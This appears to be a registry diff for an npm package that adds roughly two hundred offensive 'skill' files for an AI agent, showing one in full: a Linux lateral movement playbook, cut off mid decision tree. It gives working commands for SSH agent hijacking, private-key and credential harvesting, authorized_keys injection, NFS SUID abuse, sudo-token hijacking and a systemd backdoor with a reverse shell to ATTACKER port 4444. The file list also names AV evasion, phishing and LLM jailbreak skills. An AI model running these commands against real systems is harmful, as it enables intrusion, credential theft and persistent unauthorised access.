ineedcodes 1.6.0 → 1.7.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -1
- package/skills/401-403-bypass-techniques/SKILL.md +348 -0
- package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
- package/skills/active-directory-acl-abuse/SKILL.md +295 -0
- package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
- package/skills/active-directory-certificate-services/SKILL.md +303 -0
- package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
- package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
- package/skills/ai-ml-security/SKILL.md +425 -0
- package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
- package/skills/android-pentesting-tricks/SKILL.md +369 -0
- package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
- package/skills/anti-debugging-techniques/SKILL.md +407 -0
- package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
- package/skills/api-authorization-and-bola/SKILL.md +48 -0
- package/skills/api-recon-and-docs/SKILL.md +61 -0
- package/skills/api-sec/SKILL.md +49 -0
- package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
- package/skills/auth-sec/SKILL.md +41 -0
- package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
- package/skills/bba-ad-attacker/SKILL.md +420 -0
- package/skills/bba-api-security/SKILL.md +95 -0
- package/skills/bba-attack-planner/SKILL.md +186 -0
- package/skills/bba-binary-exploit/SKILL.md +65 -0
- package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
- package/skills/bba-bug-bounty/SKILL.md +245 -0
- package/skills/bba-cicd-redteam/SKILL.md +515 -0
- package/skills/bba-cloud-security/SKILL.md +97 -0
- package/skills/bba-container-escape/SKILL.md +161 -0
- package/skills/bba-credential-tester/SKILL.md +346 -0
- package/skills/bba-crypto-analyst/SKILL.md +54 -0
- package/skills/bba-ctf-solver/SKILL.md +166 -0
- package/skills/bba-detection-engineer/SKILL.md +93 -0
- package/skills/bba-engagement-planner/SKILL.md +68 -0
- package/skills/bba-exploit-chainer/SKILL.md +280 -0
- package/skills/bba-exploit-guide/SKILL.md +96 -0
- package/skills/bba-forensics-analyst/SKILL.md +512 -0
- package/skills/bba-graphql-hunter/SKILL.md +145 -0
- package/skills/bba-hardware-hacker/SKILL.md +57 -0
- package/skills/bba-jwt-cracker/SKILL.md +133 -0
- package/skills/bba-llm-redteam/SKILL.md +149 -0
- package/skills/bba-malware-analyst/SKILL.md +305 -0
- package/skills/bba-mobile-pentester/SKILL.md +350 -0
- package/skills/bba-osint-collector/SKILL.md +645 -0
- package/skills/bba-payload-crafter/SKILL.md +347 -0
- package/skills/bba-phishing-operator/SKILL.md +516 -0
- package/skills/bba-poc-validator/SKILL.md +249 -0
- package/skills/bba-privesc-advisor/SKILL.md +98 -0
- package/skills/bba-purple-team/SKILL.md +56 -0
- package/skills/bba-recon-advisor/SKILL.md +215 -0
- package/skills/bba-red-team-operator/SKILL.md +61 -0
- package/skills/bba-report-generator/SKILL.md +145 -0
- package/skills/bba-reverse-engineer/SKILL.md +298 -0
- package/skills/bba-social-engineer/SKILL.md +341 -0
- package/skills/bba-ssrf-hunter/SKILL.md +120 -0
- package/skills/bba-stig-analyst/SKILL.md +108 -0
- package/skills/bba-subdomain-takeover/SKILL.md +141 -0
- package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
- package/skills/bba-threat-modeler/SKILL.md +574 -0
- package/skills/bba-vuln-scanner/SKILL.md +305 -0
- package/skills/bba-web-hunter/SKILL.md +285 -0
- package/skills/bba-wireless-pentester/SKILL.md +539 -0
- package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
- package/skills/binary-protection-bypass/SKILL.md +295 -0
- package/skills/browser-exploitation-v8/SKILL.md +334 -0
- package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
- package/skills/business-logic-vuln/SKILL.md +33 -0
- package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
- package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
- package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
- package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
- package/skills/classical-cipher-analysis/SKILL.md +663 -0
- package/skills/clickjacking/SKILL.md +163 -0
- package/skills/cmdi-command-injection/SKILL.md +687 -0
- package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
- package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
- package/skills/container-escape-techniques/SKILL.md +339 -0
- package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
- package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
- package/skills/crlf-injection/SKILL.md +179 -0
- package/skills/csp-bypass-advanced/SKILL.md +259 -0
- package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
- package/skills/csv-formula-injection/SKILL.md +144 -0
- package/skills/dangling-markup-injection/SKILL.md +321 -0
- package/skills/defi-attack-patterns/SKILL.md +355 -0
- package/skills/dependency-confusion/SKILL.md +178 -0
- package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
- package/skills/deserialization-insecure/SKILL.md +725 -0
- package/skills/dns-rebinding-attacks/SKILL.md +337 -0
- package/skills/email-header-injection/SKILL.md +349 -0
- package/skills/expression-language-injection/SKILL.md +243 -0
- package/skills/file-access-vuln/SKILL.md +33 -0
- package/skills/format-string-exploitation/SKILL.md +312 -0
- package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
- package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
- package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
- package/skills/hack/SKILL.md +162 -0
- package/skills/hash-attack-techniques/SKILL.md +491 -0
- package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
- package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
- package/skills/heap-exploitation/SKILL.md +217 -0
- package/skills/http-host-header-attacks/SKILL.md +323 -0
- package/skills/http-parameter-pollution/SKILL.md +208 -0
- package/skills/http2-specific-attacks/SKILL.md +350 -0
- package/skills/idor-broken-object-authorization/SKILL.md +336 -0
- package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
- package/skills/injection-checking/SKILL.md +50 -0
- package/skills/insecure-source-code-management/SKILL.md +161 -0
- package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
- package/skills/ios-pentesting-tricks/SKILL.md +418 -0
- package/skills/jndi-injection/SKILL.md +265 -0
- package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
- package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
- package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
- package/skills/kernel-exploitation/SKILL.md +307 -0
- package/skills/kubernetes-pentesting/SKILL.md +348 -0
- package/skills/lattice-crypto-attacks/SKILL.md +497 -0
- package/skills/linux-lateral-movement/SKILL.md +348 -0
- package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
- package/skills/linux-privilege-escalation/SKILL.md +346 -0
- package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
- package/skills/linux-security-bypass/SKILL.md +345 -0
- package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
- package/skills/llm-prompt-injection/SKILL.md +357 -0
- package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
- package/skills/macos-process-injection/SKILL.md +384 -0
- package/skills/macos-security-bypass/SKILL.md +337 -0
- package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
- package/skills/memory-forensics-volatility/SKILL.md +323 -0
- package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
- package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
- package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
- package/skills/network-protocol-attacks/SKILL.md +330 -0
- package/skills/nosql-injection/SKILL.md +341 -0
- package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
- package/skills/ntlm-relay-coercion/SKILL.md +267 -0
- package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
- package/skills/open-redirect/SKILL.md +380 -0
- package/skills/path-traversal-lfi/SKILL.md +802 -0
- package/skills/prototype-pollution/SKILL.md +190 -0
- package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
- package/skills/prototype-pollution-advanced/SKILL.md +338 -0
- package/skills/race-condition/SKILL.md +526 -0
- package/skills/recon-and-methodology/SKILL.md +389 -0
- package/skills/recon-for-sec/SKILL.md +29 -0
- package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
- package/skills/request-smuggling/SKILL.md +314 -0
- package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
- package/skills/reverse-shell-techniques/SKILL.md +290 -0
- package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
- package/skills/rsa-attack-techniques/SKILL.md +437 -0
- package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
- package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
- package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
- package/skills/sandbox-escape-techniques/SKILL.md +250 -0
- package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
- package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
- package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
- package/skills/sqli-sql-injection/SKILL.md +489 -0
- package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
- package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
- package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
- package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
- package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
- package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
- package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
- package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
- package/skills/stack-overflow-and-rop/SKILL.md +304 -0
- package/skills/steganography-techniques/SKILL.md +348 -0
- package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
- package/skills/subdomain-takeover/SKILL.md +247 -0
- package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
- package/skills/symbolic-execution-tools/SKILL.md +419 -0
- package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
- package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
- package/skills/traffic-analysis-pcap/SKILL.md +341 -0
- package/skills/tunneling-and-pivoting/SKILL.md +343 -0
- package/skills/type-juggling/SKILL.md +291 -0
- package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
- package/skills/unauthorized-access-common-services/SKILL.md +388 -0
- package/skills/upload-insecure-files/SCENARIOS.md +158 -0
- package/skills/upload-insecure-files/SKILL.md +543 -0
- package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
- package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
- package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
- package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
- package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
- package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
- package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
- package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
- package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
- package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
- package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
- package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
- package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
- package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
- package/skills/waf-bypass-techniques/SKILL.md +290 -0
- package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
- package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
- package/skills/web-cache-deception/SKILL.md +222 -0
- package/skills/websocket-security/SKILL.md +454 -0
- package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
- package/skills/windows-av-evasion/SKILL.md +342 -0
- package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
- package/skills/windows-lateral-movement/SKILL.md +335 -0
- package/skills/windows-privilege-escalation/SKILL.md +328 -0
- package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
- package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
- package/skills/xslt-injection/SKILL.md +281 -0
- package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
- package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
- package/skills/xss-cross-site-scripting/SKILL.md +379 -0
- package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
- package/skills/xxe-xml-external-entity/SKILL.md +554 -0
- package/src/agent.js +1 -1
- package/src/session.js +47 -11
- package/src/skills.js +30 -6
- package/src/ui.js +1 -1
|
@@ -0,0 +1,348 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: linux-lateral-movement
|
|
3
|
+
description: >-
|
|
4
|
+
Linux lateral movement playbook. Use after gaining initial access to pivot across Linux hosts via SSH hijacking, credential harvesting, internal pivoting, D-Bus exploitation, sudo token reuse, and shared filesystem abuse.gated: true
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
# SKILL: Linux Lateral Movement — Expert Attack Playbook
|
|
8
|
+
|
|
9
|
+
> **AI LOAD INSTRUCTION**: Expert Linux lateral movement techniques. Covers SSH agent hijacking, key harvesting, credential locations, D-Bus exploitation, network pivoting, sudo token reuse, and systemd manipulation. Base models miss SSH_AUTH_SOCK hijacking and ptrace-based sudo session hijack.
|
|
10
|
+
|
|
11
|
+
## 0. RELATED ROUTING
|
|
12
|
+
|
|
13
|
+
Before going deep, consider loading:
|
|
14
|
+
|
|
15
|
+
- [linux-privilege-escalation](../linux-privilege-escalation/SKILL.md) if you need root on the current host before pivoting
|
|
16
|
+
- [linux-security-bypass](../linux-security-bypass/SKILL.md) when restricted shells or security modules block lateral movement tools
|
|
17
|
+
- [container-escape-techniques](../container-escape-techniques/SKILL.md) when the target network includes containerized hosts
|
|
18
|
+
- [kubernetes-pentesting](../kubernetes-pentesting/SKILL.md) when pivoting into a Kubernetes cluster
|
|
19
|
+
- [unauthorized-access-common-services](../unauthorized-access-common-services/SKILL.md) for exploiting discovered internal services (Redis, MongoDB, etc.)
|
|
20
|
+
|
|
21
|
+
---
|
|
22
|
+
|
|
23
|
+
## 1. SSH AGENT HIJACKING
|
|
24
|
+
|
|
25
|
+
### 1.1 Find SSH Agent Sockets
|
|
26
|
+
|
|
27
|
+
```bash
|
|
28
|
+
# As root (or user with access to other users' processes):
|
|
29
|
+
find /tmp -path "*/ssh-*" -name "agent.*" 2>/dev/null
|
|
30
|
+
# Or via /proc:
|
|
31
|
+
grep -r SSH_AUTH_SOCK /proc/*/environ 2>/dev/null | tr '\0' '\n'
|
|
32
|
+
|
|
33
|
+
# Typical path: /tmp/ssh-XXXXXX/agent.PID
|
|
34
|
+
```
|
|
35
|
+
|
|
36
|
+
### 1.2 Hijack Agent Forwarding
|
|
37
|
+
|
|
38
|
+
```bash
|
|
39
|
+
# Set the found socket as our auth agent
|
|
40
|
+
export SSH_AUTH_SOCK=/tmp/ssh-AbCdEf/agent.12345
|
|
41
|
+
|
|
42
|
+
# List available keys in the agent
|
|
43
|
+
ssh-add -l
|
|
44
|
+
# If keys appear → we can use them
|
|
45
|
+
|
|
46
|
+
# SSH to any host this agent can authenticate to
|
|
47
|
+
ssh -o StrictHostKeyChecking=no user@internal-host
|
|
48
|
+
|
|
49
|
+
# The agent owner won't notice — we're using their forwarded agent
|
|
50
|
+
```
|
|
51
|
+
|
|
52
|
+
### 1.3 Persistent Agent Monitoring
|
|
53
|
+
|
|
54
|
+
```bash
|
|
55
|
+
# Monitor for new SSH agent sockets (wait for admin to SSH in)
|
|
56
|
+
inotifywait -m /tmp -e create 2>/dev/null | grep ssh-
|
|
57
|
+
# Or poll:
|
|
58
|
+
while true; do
|
|
59
|
+
find /tmp -path "*/ssh-*" -name "agent.*" -newer /tmp/.marker 2>/dev/null
|
|
60
|
+
touch /tmp/.marker
|
|
61
|
+
sleep 5
|
|
62
|
+
done
|
|
63
|
+
```
|
|
64
|
+
|
|
65
|
+
---
|
|
66
|
+
|
|
67
|
+
## 2. SSH KEY HARVESTING
|
|
68
|
+
|
|
69
|
+
### 2.1 Private Key Locations
|
|
70
|
+
|
|
71
|
+
```bash
|
|
72
|
+
find / -name "id_rsa" -o -name "id_ed25519" -o -name "*.pem" -o -name "*.key" 2>/dev/null
|
|
73
|
+
# Also: /etc/ssh/ssh_host_*_key (MITM), /home/*/.ssh/id_*
|
|
74
|
+
|
|
75
|
+
# Find keys without passphrase:
|
|
76
|
+
for key in $(find / -name "id_*" ! -name "*.pub" 2>/dev/null); do
|
|
77
|
+
ssh-keygen -y -P "" -f "$key" > /dev/null 2>&1 && echo "NO PASSPHRASE: $key"
|
|
78
|
+
done
|
|
79
|
+
```
|
|
80
|
+
|
|
81
|
+
### 2.2 known_hosts Parsing
|
|
82
|
+
|
|
83
|
+
```bash
|
|
84
|
+
# Hashed known_hosts (common default):
|
|
85
|
+
cat ~/.ssh/known_hosts
|
|
86
|
+
# May be hashed — use ssh-keygen to check against known IPs:
|
|
87
|
+
ssh-keygen -F 10.0.0.1 -f ~/.ssh/known_hosts
|
|
88
|
+
|
|
89
|
+
# Unhashed known_hosts → direct IP/hostname list
|
|
90
|
+
awk '{print $1}' ~/.ssh/known_hosts | sort -u
|
|
91
|
+
|
|
92
|
+
# Extract all hostnames/IPs from all users' known_hosts
|
|
93
|
+
cat /home/*/.ssh/known_hosts /root/.ssh/known_hosts 2>/dev/null \
|
|
94
|
+
| awk '{print $1}' | tr ',' '\n' | sort -u
|
|
95
|
+
```
|
|
96
|
+
|
|
97
|
+
### 2.3 authorized_keys Injection
|
|
98
|
+
|
|
99
|
+
```bash
|
|
100
|
+
# Generate attacker keypair (on attacker box)
|
|
101
|
+
ssh-keygen -t ed25519 -f /tmp/pivot_key -N ""
|
|
102
|
+
|
|
103
|
+
# Inject public key (on compromised host)
|
|
104
|
+
echo "ssh-ed25519 AAAA...attacker_pubkey..." >> /root/.ssh/authorized_keys
|
|
105
|
+
echo "ssh-ed25519 AAAA...attacker_pubkey..." >> /home/admin/.ssh/authorized_keys
|
|
106
|
+
|
|
107
|
+
# SSH back in with our key
|
|
108
|
+
ssh -i /tmp/pivot_key root@target
|
|
109
|
+
```
|
|
110
|
+
|
|
111
|
+
---
|
|
112
|
+
|
|
113
|
+
## 3. CREDENTIAL HARVESTING LOCATIONS
|
|
114
|
+
|
|
115
|
+
### 3.1 System Credentials
|
|
116
|
+
|
|
117
|
+
| Location | Contents | Command |
|
|
118
|
+
|---|---|---|
|
|
119
|
+
| `/etc/shadow` | Password hashes | `cat /etc/shadow` (root) |
|
|
120
|
+
| `/etc/passwd` | User list, may contain hashes | `cat /etc/passwd` |
|
|
121
|
+
| `.bash_history` | Command history (passwords in cleartext) | `cat /home/*/.bash_history` |
|
|
122
|
+
| `.mysql_history` | MySQL commands with passwords | `cat /home/*/.mysql_history` |
|
|
123
|
+
| `.psql_history` | PostgreSQL commands | `cat /home/*/.psql_history` |
|
|
124
|
+
| `.pgpass` | PostgreSQL password file | `cat /home/*/.pgpass` |
|
|
125
|
+
| `.my.cnf` | MySQL credentials | `cat /home/*/.my.cnf` |
|
|
126
|
+
| `.netrc` | FTP/HTTP auto-login credentials | `cat /home/*/.netrc` |
|
|
127
|
+
| `.git-credentials` | Git HTTPS passwords | `cat /home/*/.git-credentials` |
|
|
128
|
+
|
|
129
|
+
### 3.2 Environment & Config Files
|
|
130
|
+
|
|
131
|
+
```bash
|
|
132
|
+
# Current process secrets
|
|
133
|
+
env | grep -iE "pass|key|secret|token|api|cred|auth"
|
|
134
|
+
|
|
135
|
+
# All process environments (root):
|
|
136
|
+
for pid in /proc/[0-9]*; do
|
|
137
|
+
cat $pid/environ 2>/dev/null | tr '\0' '\n' | grep -iE "pass|key|secret|token"
|
|
138
|
+
done
|
|
139
|
+
|
|
140
|
+
# Application configs (common credential locations):
|
|
141
|
+
find /var/www /opt /srv -name "wp-config.php" -o -name "settings.py" \
|
|
142
|
+
-o -name "*.env" -o -name "database.yml" -o -name "docker-compose.yml" 2>/dev/null
|
|
143
|
+
|
|
144
|
+
# Keyrings & secret stores:
|
|
145
|
+
find / -name "*.keyring" -o -name ".vault-token" -o -path "*/.password-store/*.gpg" 2>/dev/null
|
|
146
|
+
```
|
|
147
|
+
|
|
148
|
+
---
|
|
149
|
+
|
|
150
|
+
## 4. D-BUS EXPLOITATION
|
|
151
|
+
|
|
152
|
+
### 4.1 Enumerate D-Bus Services
|
|
153
|
+
|
|
154
|
+
```bash
|
|
155
|
+
# List system bus services
|
|
156
|
+
dbus-send --system --dest=org.freedesktop.DBus \
|
|
157
|
+
--type=method_call --print-reply \
|
|
158
|
+
/org/freedesktop/DBus org.freedesktop.DBus.ListNames
|
|
159
|
+
|
|
160
|
+
# List session bus services
|
|
161
|
+
dbus-send --session --dest=org.freedesktop.DBus \
|
|
162
|
+
--type=method_call --print-reply \
|
|
163
|
+
/org/freedesktop/DBus org.freedesktop.DBus.ListNames
|
|
164
|
+
|
|
165
|
+
# Introspect a service (find available methods)
|
|
166
|
+
dbus-send --system --dest=org.freedesktop.systemd1 \
|
|
167
|
+
--type=method_call --print-reply \
|
|
168
|
+
/org/freedesktop/systemd1 org.freedesktop.DBus.Introspectable.Introspect
|
|
169
|
+
```
|
|
170
|
+
|
|
171
|
+
### 4.2 Abuse systemd & PolicyKit via D-Bus
|
|
172
|
+
|
|
173
|
+
```bash
|
|
174
|
+
# Start a service via D-Bus (if policy allows):
|
|
175
|
+
dbus-send --system --dest=org.freedesktop.systemd1 \
|
|
176
|
+
--type=method_call --print-reply /org/freedesktop/systemd1 \
|
|
177
|
+
org.freedesktop.systemd1.Manager.StartUnit \
|
|
178
|
+
string:"malicious.service" string:"replace"
|
|
179
|
+
|
|
180
|
+
# polkit actions available without auth:
|
|
181
|
+
pkaction --verbose 2>/dev/null | grep -B5 "implicit active: yes"
|
|
182
|
+
```
|
|
183
|
+
|
|
184
|
+
---
|
|
185
|
+
|
|
186
|
+
## 5. INTERNAL NETWORK PIVOTING
|
|
187
|
+
|
|
188
|
+
### 5.1 SSH Tunneling
|
|
189
|
+
|
|
190
|
+
```bash
|
|
191
|
+
# Local port forward: access INTERNAL_HOST:3306 via localhost:3306
|
|
192
|
+
ssh -L 3306:INTERNAL_HOST:3306 pivot@compromised-host
|
|
193
|
+
|
|
194
|
+
# Remote port forward: expose attacker service to internal network
|
|
195
|
+
ssh -R 8080:ATTACKER:8080 pivot@compromised-host
|
|
196
|
+
|
|
197
|
+
# Dynamic SOCKS proxy: route all traffic through pivot
|
|
198
|
+
ssh -D 1080 pivot@compromised-host
|
|
199
|
+
# Then: proxychains nmap -sT INTERNAL_RANGE
|
|
200
|
+
|
|
201
|
+
# SSH over SSH (multi-hop):
|
|
202
|
+
ssh -J user1@hop1,user2@hop2 target@final-host
|
|
203
|
+
```
|
|
204
|
+
|
|
205
|
+
### 5.2 Without SSH — Alternative Tunnels
|
|
206
|
+
|
|
207
|
+
```bash
|
|
208
|
+
# socat port forward
|
|
209
|
+
socat TCP-LISTEN:8080,fork TCP:INTERNAL_HOST:80 &
|
|
210
|
+
|
|
211
|
+
# ncat relay
|
|
212
|
+
ncat -l -p 8080 --sh-exec "ncat INTERNAL_HOST 80"
|
|
213
|
+
|
|
214
|
+
# /dev/tcp (Bash built-in, no tools needed)
|
|
215
|
+
exec 3<>/dev/tcp/INTERNAL_HOST/80
|
|
216
|
+
echo -e "GET / HTTP/1.0\r\nHost: INTERNAL_HOST\r\n\r\n" >&3
|
|
217
|
+
cat <&3
|
|
218
|
+
|
|
219
|
+
# chisel (SOCKS proxy over HTTP)
|
|
220
|
+
# On attacker: chisel server -p 8080 --reverse
|
|
221
|
+
# On target: chisel client ATTACKER:8080 R:socks
|
|
222
|
+
```
|
|
223
|
+
|
|
224
|
+
### 5.3 Network Discovery from Compromised Host
|
|
225
|
+
|
|
226
|
+
```bash
|
|
227
|
+
ss -tlnp && ss -tnp # Listening & established connections
|
|
228
|
+
arp -a && ip neigh # Known adjacent hosts
|
|
229
|
+
cat /etc/resolv.conf # DNS servers
|
|
230
|
+
dig axfr internal.domain @dns 2>/dev/null # Zone transfer
|
|
231
|
+
|
|
232
|
+
# Subnet sweep (bash-only, no tools):
|
|
233
|
+
for i in $(seq 1 254); do ping -c1 -W1 10.0.0.$i &>/dev/null && echo "ALIVE: 10.0.0.$i" & done; wait
|
|
234
|
+
|
|
235
|
+
# Port scan via /dev/tcp:
|
|
236
|
+
for port in 22 80 443 3306 5432 6379 8080; do
|
|
237
|
+
(echo >/dev/tcp/10.0.0.1/$port) 2>/dev/null && echo "OPEN: $port"
|
|
238
|
+
done
|
|
239
|
+
```
|
|
240
|
+
|
|
241
|
+
---
|
|
242
|
+
|
|
243
|
+
## 6. SHARED FILESYSTEM EXPLOITATION
|
|
244
|
+
|
|
245
|
+
### 6.1 NFS Mounts
|
|
246
|
+
|
|
247
|
+
```bash
|
|
248
|
+
# Discover NFS shares
|
|
249
|
+
showmount -e FILESERVER_IP 2>/dev/null
|
|
250
|
+
|
|
251
|
+
# Check for no_root_squash (root maps to root)
|
|
252
|
+
mount -t nfs FILESERVER_IP:/share /mnt/nfs
|
|
253
|
+
# If no_root_squash: create SUID binaries visible to other hosts
|
|
254
|
+
|
|
255
|
+
# All hosts mounting the same share → SUID binary = root on all hosts
|
|
256
|
+
cp /bin/bash /mnt/nfs/bash && chmod +s /mnt/nfs/bash
|
|
257
|
+
```
|
|
258
|
+
|
|
259
|
+
### 6.2 SMB/CIFS Shares
|
|
260
|
+
|
|
261
|
+
```bash
|
|
262
|
+
# Enumerate shares
|
|
263
|
+
smbclient -L //FILESERVER_IP/ -N 2>/dev/null # Null session
|
|
264
|
+
smbclient -L //FILESERVER_IP/ -U 'user%password'
|
|
265
|
+
|
|
266
|
+
# Mount and search for credentials
|
|
267
|
+
mount -t cifs //FILESERVER_IP/share /mnt/smb -o username=user,password=pass
|
|
268
|
+
find /mnt/smb -name "*.conf" -o -name "*.cfg" -o -name "*.kdbx" \
|
|
269
|
+
-o -name "*.xlsx" -o -name "*.docx" 2>/dev/null
|
|
270
|
+
```
|
|
271
|
+
|
|
272
|
+
---
|
|
273
|
+
|
|
274
|
+
## 7. SUDO TOKEN REUSE (ptrace-Based)
|
|
275
|
+
|
|
276
|
+
```bash
|
|
277
|
+
# If another user has an active sudo session (timestamp not expired):
|
|
278
|
+
# And we can ptrace their process (same UID or root)
|
|
279
|
+
|
|
280
|
+
# Check sudo timestamp files:
|
|
281
|
+
ls -la /var/run/sudo/ts/ 2>/dev/null
|
|
282
|
+
ls -la /var/db/sudo/ 2>/dev/null
|
|
283
|
+
# Files here mean active sudo tokens
|
|
284
|
+
|
|
285
|
+
# ptrace-based hijack:
|
|
286
|
+
# Attach to the user's shell process
|
|
287
|
+
# Inject: sudo /bin/bash
|
|
288
|
+
# The injected sudo inherits the valid timestamp → no password needed
|
|
289
|
+
|
|
290
|
+
# Automated tool: sudo_inject
|
|
291
|
+
# https://github.com/nongiach/sudo_inject
|
|
292
|
+
# Injects into processes with valid sudo tokens
|
|
293
|
+
```
|
|
294
|
+
|
|
295
|
+
---
|
|
296
|
+
|
|
297
|
+
## 8. SYSTEMD SERVICE MANIPULATION
|
|
298
|
+
|
|
299
|
+
```bash
|
|
300
|
+
# Find writable unit files:
|
|
301
|
+
find /etc/systemd /usr/lib/systemd -writable -name "*.service" 2>/dev/null
|
|
302
|
+
|
|
303
|
+
# Inject into existing service (add ExecStartPre=):
|
|
304
|
+
# Or create new: /etc/systemd/system/backdoor.service
|
|
305
|
+
# [Service] Type=oneshot ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'
|
|
306
|
+
systemctl daemon-reload && systemctl enable --now backdoor.service
|
|
307
|
+
```
|
|
308
|
+
|
|
309
|
+
---
|
|
310
|
+
|
|
311
|
+
## 9. LATERAL MOVEMENT DECISION TREE
|
|
312
|
+
|
|
313
|
+
```
|
|
314
|
+
Compromised host — where to move next?
|
|
315
|
+
│
|
|
316
|
+
├── SSH credentials available?
|
|
317
|
+
│ ├── Private keys found? → try on all known_hosts targets (§2)
|
|
318
|
+
│ ├── SSH agent running? → hijack socket (§1)
|
|
319
|
+
│ ├── Passwords in history/configs? → spray across hosts (§3)
|
|
320
|
+
│ └── authorized_keys writable on other hosts? → inject key (§2.3)
|
|
321
|
+
│
|
|
322
|
+
├── Network services discovered?
|
|
323
|
+
│ ├── Internal web apps? → tunnel + attack (§5.1)
|
|
324
|
+
│ ├── Databases (3306/5432/6379)? → check harvested creds (§3)
|
|
325
|
+
│ ├── SMB/NFS shares? → mount + search for creds/SUID (§6)
|
|
326
|
+
